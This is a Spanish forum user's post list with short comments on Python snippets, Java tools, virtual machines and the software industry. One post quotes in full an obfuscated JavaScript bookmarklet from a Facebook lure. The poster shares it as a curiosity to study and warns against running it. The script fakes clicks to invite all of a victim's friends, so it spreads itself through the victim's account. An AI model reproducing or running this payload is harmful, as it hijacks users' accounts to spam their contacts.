Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Ragnarok

#51
A ver si Linux aumenta en base de usuarios con el empuje de Rusia, porque esto es muy triste.
#52
La 3 no mantiene la compatibilidad con las versiones anteriores, así que lo que se aprende para las anteriores puede valer o no para la 3, dependiendo de lo que sea.

Y antes o después, digo yo, se impondrá la 3. Vosotros veréis.
#53
Yo recomiendo no menospreciar la tarea. Programar es fácil, hacerlo bien no.

http://philosophtly.blogspot.com/2009/06/myth-of-idiot-proofing.html
#54
Scripting / Re: [Python] - Los años no perdonan.
25 Noviembre 2010, 23:24 PM
Código (python) [Seleccionar]
def days(y): return 366 if not y%4 and y%100 or not y%400 else 365

un poco menos natural:

Código (python) [Seleccionar]
def days(y): return 365 if (y%4 or not y%100) and y%400 else 366
#55
Scripting / Re: [Python] - La media de una lista
25 Noviembre 2010, 23:13 PM
Código (python) [Seleccionar]
def avg(l): return sum(l)/len(l) if len(l) > 0 else 0

http://docs.python.org/py3k/library/functions.html
#56
Java / Re: Algoritmos de planificacion en Java
10 Septiembre 2010, 21:20 PM
Que decepción, creía que era planificación automática como SHOP2, que está programado en Java y es libre (de los pocos).

http://download.oracle.com/javase/tutorial/collections/interfaces/order.html

http://foro.elhacker.net/dudas_generales/faq_como_hacer_preguntas_inteligentes-t7122.0.html

Ayudada estás.

(Pero que decepción más grande...)
#57
Java / Apache camel
10 Septiembre 2010, 20:47 PM
Me lo ha estado mostrando un compañero de curro y parece muy bueno.

Si cualquiera está haciendo un trabajo en que tiene que integrar varios componentes en un workflow se lo recomiendo bastante (no mucho pues todavía no lo conozco en profundidad)

Ya me diréis.

Por cambiar la temática (y la escala) del foro un poco.
#58
Más o menos la regla general es que una máquina virtual en un ordenador X funciona como en un ordenador con 4 años más que X.
#59
Me han invitado a un grupo de facebook: "99% of people can't watch this video more than 25 seconds"

Allí te dicen que vayas a esta dirección, que es un script:

Código (javascript) [Seleccionar]
javascript:(function(){a='app107489592636080_PKhcGc';b='app107489592636080_xKbQFX';hzgjtD='app107489592636080_hzgjtD';yhXHmG='app107489592636080_yhXHmG';BWKgQn='app107489592636080_BWKgQn';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]){F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||BWKgQn|fs|SocialGraphManager|for|in|if|20|yhXHmG|hzgjtD|21|2000|4000|3000'.split('|'),0,{}))})();

No os quejaréis que os lo doy con colores y todo...

El caso es que me da igual lo que haga la función, me da igual el vídeo y en general me da igual lo que pase en facebook, para mí es una libreta de direcciones con trackback. Y desde luego no me voy a poner a ejecutar tronchos de javascript que no sé lo que hacen, de dónde vienen ni los controles que pueden haber pasado. Tal vez en una máquina virtual, si tuviera tiempo e interés. Pero he pensado que os puede interesar a los que estéis aprendiendo javascript, ofuscación, etc.
#60
Es la diferencia entre hacer software a petición o para todo el mundo.

Aparte, cualquier programador de allí es un analista programador especializado en algo. Aquí es un tipo que sabe java. El perfil del programador es también muy distinto, lo cual es lógico, se ajusta a la demanda que hay.

¿Por qué? Pues porque las empresas grandes están allí, y siempre será así, no se dejará crecer a las empresas en España, porque los empresarios tienen mucho dinero y hay que dárselo al obrero oprimido.

Lo único que nos separa de una república bananera es el rey, y es a título meramente simbólico y absurdamente caro.

La masa se ha rebelado y es lo que hay.